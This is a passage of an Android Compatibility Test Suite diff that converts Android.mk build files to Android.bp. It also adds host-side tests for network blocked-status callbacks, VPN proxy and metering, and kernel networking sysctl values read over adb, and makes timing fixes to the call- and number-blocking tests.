+        public void onReceive(Context context, Intent intent) {
+            if (!received) {
+                // Do not call onReceive() more than once.
+                super.onReceive(context, intent);
+            }
+            received = true;
+        }
+    }
 }
diff --git a/hostsidetests/net/app2/Android.bp b/hostsidetests/net/app2/Android.bp
new file mode 100644
index 0000000..8a3c8e7
--- /dev/null
+++ b/hostsidetests/net/app2/Android.bp
@@ -0,0 +1,30 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsHostsideNetworkTestsApp2",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: ["CtsHostsideNetworkTestsAidl"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    certificate: ":cts-net-app",
+}
diff --git a/hostsidetests/net/app2/Android.mk b/hostsidetests/net/app2/Android.mk
deleted file mode 100644
index 5c0bae1..0000000
--- a/hostsidetests/net/app2/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := CtsHostsideNetworkTestsAidl
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHostsideNetworkTestsApp2
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/net/certs/cts-net-app
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyService.java b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyService.java
index 2496c4a..ec536af 100644
--- a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyService.java
+++ b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyService.java
@@ -16,6 +16,7 @@
 package com.android.cts.net.hostside.app2;
 
 import static android.net.ConnectivityManager.ACTION_RESTRICT_BACKGROUND_CHANGED;
+
 import static com.android.cts.net.hostside.app2.Common.ACTION_RECEIVER_READY;
 import static com.android.cts.net.hostside.app2.Common.DYNAMIC_RECEIVER;
 import static com.android.cts.net.hostside.app2.Common.TAG;
@@ -26,13 +27,16 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.content.SharedPreferences;
+import android.net.ConnectivityManager;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
 import android.os.IBinder;
-import android.os.Looper;
+import android.os.RemoteException;
 import android.util.Log;
-import android.widget.Toast;
 
 import com.android.cts.net.hostside.IMyService;
+import com.android.cts.net.hostside.INetworkCallback;
 
 /**
  * Service used to dynamically register a broadcast receiver.
@@ -40,7 +44,10 @@
 public class MyService extends Service {
     private static final String NOTIFICATION_CHANNEL_ID = "MyService";
 
+    ConnectivityManager mCm;
+
     private MyBroadcastReceiver mReceiver;
+    private ConnectivityManager.NetworkCallback mNetworkCallback;
 
     // TODO: move MyBroadcast static functions here - they were kept there to make git diff easier.
 
@@ -81,8 +88,67 @@
             MyBroadcastReceiver .sendNotification(getApplicationContext(), NOTIFICATION_CHANNEL_ID,
                     notificationId, notificationType);
         }
+
+        @Override
+        public void registerNetworkCallback(INetworkCallback cb) {
+            if (mNetworkCallback != null) {
+                Log.d(TAG, "unregister previous network callback: " + mNetworkCallback);
+                unregisterNetworkCallback();
+            }
+            Log.d(TAG, "registering network callback");
+
+            mNetworkCallback = new ConnectivityManager.NetworkCallback() {
+                @Override
+                public void onBlockedStatusChanged(Network network, boolean blocked) {
+                    try {
+                        cb.onBlockedStatusChanged(network, blocked);
+                    } catch (RemoteException e) {
+                        Log.d(TAG, "Cannot send onBlockedStatusChanged: " + e);
+                        unregisterNetworkCallback();
+                    }
+                }
+
+                @Override
+                public void onAvailable(Network network) {
+                    try {
+                        cb.onAvailable(network);
+                    } catch (RemoteException e) {
+                        Log.d(TAG, "Cannot send onAvailable: " + e);
+                        unregisterNetworkCallback();
+                    }
+                }
+
+                @Override
+                public void onLost(Network network) {
+                    try {
+                        cb.onLost(network);
+                    } catch (RemoteException e) {
+                        Log.d(TAG, "Cannot send onLost: " + e);
+                        unregisterNetworkCallback();
+                    }
+                }
+            };
+            mCm.registerNetworkCallback(makeWifiNetworkRequest(), mNetworkCallback);
+            try {
+                cb.asBinder().linkToDeath(() -> unregisterNetworkCallback(), 0);
+            } catch (RemoteException e) {
+                unregisterNetworkCallback();
+            }
+        }
       };
 
+    private void unregisterNetworkCallback() {
+        Log.d(TAG, "unregistering network callback");
+        mCm.unregisterNetworkCallback(mNetworkCallback);
+        mNetworkCallback = null;
+    }
+
+    private NetworkRequest makeWifiNetworkRequest() {
+        return new NetworkRequest.Builder()
+                .addTransportType(NetworkCapabilities.TRANSPORT_WIFI)
+                .build();
+    }
+
     @Override
     public IBinder onBind(Intent intent) {
         return mBinder;
@@ -94,6 +160,8 @@
         ((NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE))
                 .createNotificationChannel(new NotificationChannel(NOTIFICATION_CHANNEL_ID,
                         NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_DEFAULT));
+        mCm = (ConnectivityManager) getApplicationContext()
+                .getSystemService(Context.CONNECTIVITY_SERVICE);
     }
 
     @Override
diff --git a/hostsidetests/net/certs/Android.bp b/hostsidetests/net/certs/Android.bp
new file mode 100644
index 0000000..ab4cf34
--- /dev/null
+++ b/hostsidetests/net/certs/Android.bp
@@ -0,0 +1,4 @@
+android_app_certificate {
+    name: "cts-net-app",
+    certificate: "cts-net-app",
+}
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkCallbackTests.java b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkCallbackTests.java
new file mode 100644
index 0000000..8d6c4ac
--- /dev/null
+++ b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkCallbackTests.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.net;
+public class HostsideNetworkCallbackTests extends HostsideNetworkTestCase {
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        uninstallPackage(TEST_APP2_PKG, false);
+        installPackage(TEST_APP2_APK);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        uninstallPackage(TEST_APP2_PKG, true);
+    }
+
+    public void testOnBlockedStatusChanged_data_saver() throws Exception {
+        runDeviceTests(TEST_PKG,
+                TEST_PKG + ".NetworkCallbackTest", "testOnBlockedStatusChanged_data_saver");
+    }
+
+    public void testOnBlockedStatusChanged_power_saver() throws Exception {
+        runDeviceTests(TEST_PKG,
+                TEST_PKG + ".NetworkCallbackTest", "testOnBlockedStatusChanged_power_saver");
+    }
+}
+
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideVpnTests.java b/hostsidetests/net/src/com/android/cts/net/HostsideVpnTests.java
index 69b07af..6e37a24 100644
--- a/hostsidetests/net/src/com/android/cts/net/HostsideVpnTests.java
+++ b/hostsidetests/net/src/com/android/cts/net/HostsideVpnTests.java
@@ -44,4 +44,51 @@
     public void testAppDisallowed() throws Exception {
         runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest", "testAppDisallowed");
     }
+
+    public void testGetConnectionOwnerUidSecurity() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest", "testGetConnectionOwnerUidSecurity");
+    }
+
+    public void testSetProxy() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest", "testSetProxy");
+    }
+
+    public void testSetProxyDisallowedApps() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest", "testSetProxyDisallowedApps");
+    }
+
+    public void testNoProxy() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest", "testNoProxy");
+    }
+
+    public void testBindToNetworkWithProxy() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest", "testBindToNetworkWithProxy");
+    }
+
+    public void testVpnMeterednessWithNoUnderlyingNetwork() throws Exception {
+        runDeviceTests(
+                TEST_PKG, TEST_PKG + ".VpnTest", "testVpnMeterednessWithNoUnderlyingNetwork");
+    }
+
+    public void testVpnMeterednessWithNullUnderlyingNetwork() throws Exception {
+        runDeviceTests(
+                TEST_PKG, TEST_PKG + ".VpnTest", "testVpnMeterednessWithNullUnderlyingNetwork");
+    }
+
+    public void testVpnMeterednessWithNonNullUnderlyingNetwork() throws Exception {
+        runDeviceTests(
+                TEST_PKG, TEST_PKG + ".VpnTest", "testVpnMeterednessWithNonNullUnderlyingNetwork");
+    }
+
+    public void testAlwaysMeteredVpnWithNullUnderlyingNetwork() throws Exception {
+        runDeviceTests(
+                TEST_PKG, TEST_PKG + ".VpnTest", "testAlwaysMeteredVpnWithNullUnderlyingNetwork");
+    }
+
+    public void testAlwaysMeteredVpnWithNonNullUnderlyingNetwork() throws Exception {
+        runDeviceTests(
+                TEST_PKG,
+                TEST_PKG + ".VpnTest",
+                "testAlwaysMeteredVpnWithNonNullUnderlyingNetwork");
+    }
 }
diff --git a/hostsidetests/net/src/com/android/cts/net/ProcNetTest.java b/hostsidetests/net/src/com/android/cts/net/ProcNetTest.java
new file mode 100644
index 0000000..19e61c6
--- /dev/null
+++ b/hostsidetests/net/src/com/android/cts/net/ProcNetTest.java
@@ -0,0 +1,169 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IDeviceTest;
+
+import java.lang.Integer;
+import java.lang.String;
+import java.util.Arrays;
+import java.util.List;
+import java.util.ArrayList;
+
+/**
+ * Host-side tests for values in /proc/net.
+ *
+ * These tests analyze /proc/net to verify that certain networking properties are correct.
+ */
+public class ProcNetTest extends DeviceTestCase implements IBuildReceiver, IDeviceTest {
+    private static final String SPI_TIMEOUT_SYSCTL = "/proc/sys/net/core/xfrm_acq_expires";
+    private static final int MIN_ACQ_EXPIRES = 3600;
+    // Global sysctls. Must be present and set to 1.
+    private static final String[] GLOBAL_SYSCTLS = {
+        "/proc/sys/net/ipv4/fwmark_reflect",
+        "/proc/sys/net/ipv6/fwmark_reflect",
+        "/proc/sys/net/ipv4/tcp_fwmark_accept",
+    };
+
+    // Per-interface IPv6 autoconf sysctls.
+    private static final String IPV6_SYSCTL_DIR = "/proc/sys/net/ipv6/conf";
+    private static final String AUTOCONF_SYSCTL = "accept_ra_rt_table";
+
+    // Expected values for MIN|MAX_PLEN.
+    private static final String ACCEPT_RA_RT_INFO_MIN_PLEN_STRING = "accept_ra_rt_info_min_plen";
+    private static final int ACCEPT_RA_RT_INFO_MIN_PLEN_VALUE = 48;
+    private static final String ACCEPT_RA_RT_INFO_MAX_PLEN_STRING = "accept_ra_rt_info_max_plen";
+    private static final int ACCEPT_RA_RT_INFO_MAX_PLEN_VALUE = 64;
+    // Expected values for RFC 7559 router soliciations.
+    // Maximum number of router solicitations to send. -1 means no limit.
+    private static final int IPV6_WIFI_ROUTER_SOLICITATIONS = -1;
+    private ITestDevice mDevice;
+    private IBuildInfo mBuild;
+    private String[] mSysctlDirs;
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setBuild(IBuildInfo build) {
+        mBuild = build;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setDevice(ITestDevice device) {
+        super.setDevice(device);
+        mDevice = device;
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mSysctlDirs = getSysctlDirs();
+    }
+
+    private String[] getSysctlDirs() throws Exception {
+        String interfaceDirs[] = mDevice.executeAdbCommand("shell", "ls", "-1",
+                IPV6_SYSCTL_DIR).split("\n");
+        List<String> interfaceDirsList = new ArrayList<String>(Arrays.asList(interfaceDirs));
+        interfaceDirsList.remove("all");
+        interfaceDirsList.remove("lo");
+        return interfaceDirsList.toArray(new String[interfaceDirsList.size()]);
+    }
+
+
+    protected void assertLess(String sysctl, int a, int b) {
+        assertTrue("value of " + sysctl + ": expected < " + b + " but was: " + a, a < b);
+    }
+
+    protected void assertAtLeast(String sysctl, int a, int b) {
+        assertTrue("value of " + sysctl + ": expected >= " + b + " but was: " + a, a >= b);
+    }
+
+    public int readIntFromPath(String path) throws Exception {
+        String mode = mDevice.executeAdbCommand("shell", "stat", "-c", "%a", path).trim();
+        String user = mDevice.executeAdbCommand("shell", "stat", "-c", "%u", path).trim();
+        String group = mDevice.executeAdbCommand("shell", "stat", "-c", "%g", path).trim();
+        assertEquals(mode, "644");
+        assertEquals(user, "0");
+        assertEquals(group, "0");
+        return Integer.parseInt(mDevice.executeAdbCommand("shell", "cat", path).trim());
+    }
+
+    /**
+     * Checks that SPI default timeouts are overridden, and set to a reasonable length of time
+     */
+    public void testMinAcqExpires() throws Exception {
+        int value = readIntFromPath(SPI_TIMEOUT_SYSCTL);
+        assertAtLeast(SPI_TIMEOUT_SYSCTL, value, MIN_ACQ_EXPIRES);
+    }
+
+    /**
+     * Checks that the sysctls for multinetwork kernel features are present and
+     * enabled.
+     */
+    public void testProcSysctls() throws Exception {
+        for (String sysctl : GLOBAL_SYSCTLS) {
+            int value = readIntFromPath(sysctl);
+            assertEquals(sysctl, 1, value);
+        }
+
+        for (String interfaceDir : mSysctlDirs) {
+            String path = IPV6_SYSCTL_DIR + "/" + interfaceDir + "/" + AUTOCONF_SYSCTL;
+            int value = readIntFromPath(path);
+            assertLess(path, value, 0);
+        }
+    }
+
+    /**
+     * Verify that accept_ra_rt_info_{min,max}_plen exists and is set to the expected value
+     */
+    public void testAcceptRaRtInfoMinMaxPlen() throws Exception {
+        for (String interfaceDir : mSysctlDirs) {
+            String path = IPV6_SYSCTL_DIR + "/" + interfaceDir + "/" + "accept_ra_rt_info_min_plen";
+            int value = readIntFromPath(path);
+            assertEquals(path, value, ACCEPT_RA_RT_INFO_MIN_PLEN_VALUE);
+            path = IPV6_SYSCTL_DIR + "/" + interfaceDir + "/" + "accept_ra_rt_info_max_plen";
+            value = readIntFromPath(path);
+            assertEquals(path, value, ACCEPT_RA_RT_INFO_MAX_PLEN_VALUE);
+        }
+    }
+
+    /**
+     * Verify that router_solicitations exists and is set to the expected value
+     * and verify that router_solicitation_max_interval exists and is in an acceptable interval.
+     */
+    public void testRouterSolicitations() throws Exception {
+        for (String interfaceDir : mSysctlDirs) {
+            String path = IPV6_SYSCTL_DIR + "/" + interfaceDir + "/" + "router_solicitations";
+            int value = readIntFromPath(path);
+            assertEquals(IPV6_WIFI_ROUTER_SOLICITATIONS, value);
+            path = IPV6_SYSCTL_DIR + "/" + interfaceDir + "/" + "router_solicitation_max_interval";
+            int interval = readIntFromPath(path);
+            final int lowerBoundSec = 15 * 60;
+            final int upperBoundSec = 60 * 60;
+            assertTrue(lowerBoundSec <= interval);
+            assertTrue(interval <= upperBoundSec);
+        }
+    }
+}
diff --git a/hostsidetests/numberblocking/Android.bp b/hostsidetests/numberblocking/Android.bp
new file mode 100644
index 0000000..9c50e44
--- /dev/null
+++ b/hostsidetests/numberblocking/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsHostsideNumberBlockingTestCases",
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+}
diff --git a/hostsidetests/numberblocking/Android.mk b/hostsidetests/numberblocking/Android.mk
deleted file mode 100644
index d57a0d9..0000000
--- a/hostsidetests/numberblocking/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE := CtsHostsideNumberBlockingTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/numberblocking/AndroidTest.xml b/hostsidetests/numberblocking/AndroidTest.xml
index 6ebc522..e337060 100644
--- a/hostsidetests/numberblocking/AndroidTest.xml
+++ b/hostsidetests/numberblocking/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS number blocking test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="abuse" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHostsideNumberBlockingAppTest.apk" />
diff --git a/hostsidetests/numberblocking/app/Android.bp b/hostsidetests/numberblocking/app/Android.bp
new file mode 100644
index 0000000..2716f87
--- /dev/null
+++ b/hostsidetests/numberblocking/app/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsHostsideNumberBlockingAppTest",
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+    ],
+    libs: ["android.test.base.stubs"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/numberblocking/app/Android.mk b/hostsidetests/numberblocking/app/Android.mk
deleted file mode 100644
index a84d11c..0000000
--- a/hostsidetests/numberblocking/app/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules compatibility-device-util
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsHostsideNumberBlockingAppTest
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java b/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java
index c23ba84..353471f 100644
--- a/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java
+++ b/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java
@@ -29,8 +29,6 @@
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
 
-import com.android.compatibility.common.util.CddTest;
-
 import java.util.Arrays;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -38,10 +36,10 @@
 /**
  * Tests call blocking in a multi-user environment.
  */
-@CddTest(requirement="7.4.1.1/C-1-1")
 public class CallBlockingTest extends BaseNumberBlockingClientTest {
     private static final String QUERY_CALL_THROUGH_OUR_CONNECTION_SERVICE = CallLog.Calls.NUMBER
             + " = ? AND " + CallLog.Calls.PHONE_ACCOUNT_COMPONENT_NAME + " = ?";
+    public static final long WAIT_FOR_STATE_CHANGE_TIMEOUT_MS = 10000;
 
     private static CountDownLatch callRejectionCountDownLatch;
 
@@ -61,14 +59,15 @@
                 .setSupportedUriSchemes(Arrays.asList(PhoneAccount.SCHEME_TEL))
                 .build();
         mTelecomManager.registerPhoneAccount(phoneAccount);
+        assertPhoneAccountRegistered(phoneAccountHandle, true);
     }
 
     public void testUnregisterPhoneAccount() {
-        mTelecomManager.unregisterPhoneAccount(getPhoneAccountHandle());
-        assertNull(mTelecomManager.getPhoneAccount(getPhoneAccountHandle()));
+        PhoneAccountHandle handle = getPhoneAccountHandle();
+        mTelecomManager.unregisterPhoneAccount(handle);
+        assertPhoneAccountRegistered(handle, false);
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-3,C-1-4")
     public void testIncomingCallFromBlockedNumberIsRejected() throws Exception {
         // Make sure no lingering values from previous runs.
         cleanupCall(false /* verifyNoCallLogsWritten */);
@@ -139,4 +138,46 @@
             return connection;
         }
     }
+
+    private void assertPhoneAccountRegistered(final PhoneAccountHandle handle,
+            boolean isRegistered) {
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        PhoneAccount phoneAccount = mTelecomManager.getPhoneAccount(handle);
+                        return isRegistered ? phoneAccount != null : phoneAccount == null;
+                    }
+                },
+                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Phone account registered for " + handle
+        );
+    }
+
+    private void waitUntilConditionIsTrueOrTimeout(Condition condition, long timeout,
+            String description) {
+        final long start = System.currentTimeMillis();
+        while (!condition.expected().equals(condition.actual())
+                && System.currentTimeMillis() - start < timeout) {
+            sleep(50);
+        }
+        assertEquals(description, condition.expected(), condition.actual());
+    }
+
+    private void sleep(long ms) {
+        try {
+            Thread.sleep(ms);
+        } catch (InterruptedException e) {
+        }
+    }
+
+    protected interface Condition {
+        Object expected();
+        Object actual();
+    }
 }
diff --git a/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java b/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
index 6d5c336..1bf1aef 100644
--- a/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
+++ b/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
@@ -174,11 +174,19 @@
         LogUtil.CLog.logAndDisplay(Log.LogLevel.INFO, "Installing test app for user: " + userId);
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
         File testAppFile = buildHelper.getTestFile(TEST_APK);
-        String installResult = getDevice().installPackageForUser(
-                testAppFile, true /*reinstall*/, userId);
+        String installResult;
+        try {
+            installResult = getDevice().installPackageForUser(
+                    testAppFile, true /*reinstall*/, userId);
+        } catch (DeviceNotAvailableException dna) {
+            fail("Device not available to install test app " + dna);
+            return;
+        }
         assertNull(String.format(
                 "failed to install number blocking test app. Reason: %s", installResult),
                 installResult);
+
+        waitForTestAppInstallation(NUMBER_BLOCKING_TESTS_PKG);
     }
 
     private void runTestAsPrimaryUser(String className, String methodName) throws Exception {
@@ -247,4 +255,21 @@
         fail("Couldn't find user " + userId);
         return -1;
     }
+
+    private void waitForTestAppInstallation(String packageName) {
+        try {
+            int retries = 0;
+            while (!getDevice().getInstalledPackageNames().contains(packageName)
+                    && retries < 10) {
+                Thread.sleep(50);
+                retries++;
+            }
+
+            assertTrue(getDevice().getInstalledPackageNames().contains(packageName));
+        } catch (DeviceNotAvailableException dne) {
+            fail("Device not available.");
+        } catch (InterruptedException ie) {
+            fail("Failed to wait for change.");
+        }
+    }
 }
diff --git a/hostsidetests/os/Android.bp b/hostsidetests/os/Android.bp
new file mode 100644
index 0000000..c359656
--- /dev/null
+++ b/hostsidetests/os/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    // Must match the package name in CtsTestCaseList.mk
+    name: "CtsOsHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
diff --git a/hostsidetests/os/Android.mk b/hostsidetests/os/Android.mk
deleted file mode 100644
index 932e2cf..0000000
--- a/hostsidetests/os/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_MODULE := CtsOsHostTestCases
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-LOCAL_CTS_TEST_PACKAGE := android.host.os
-
-# Tag this module as a cts test artifact
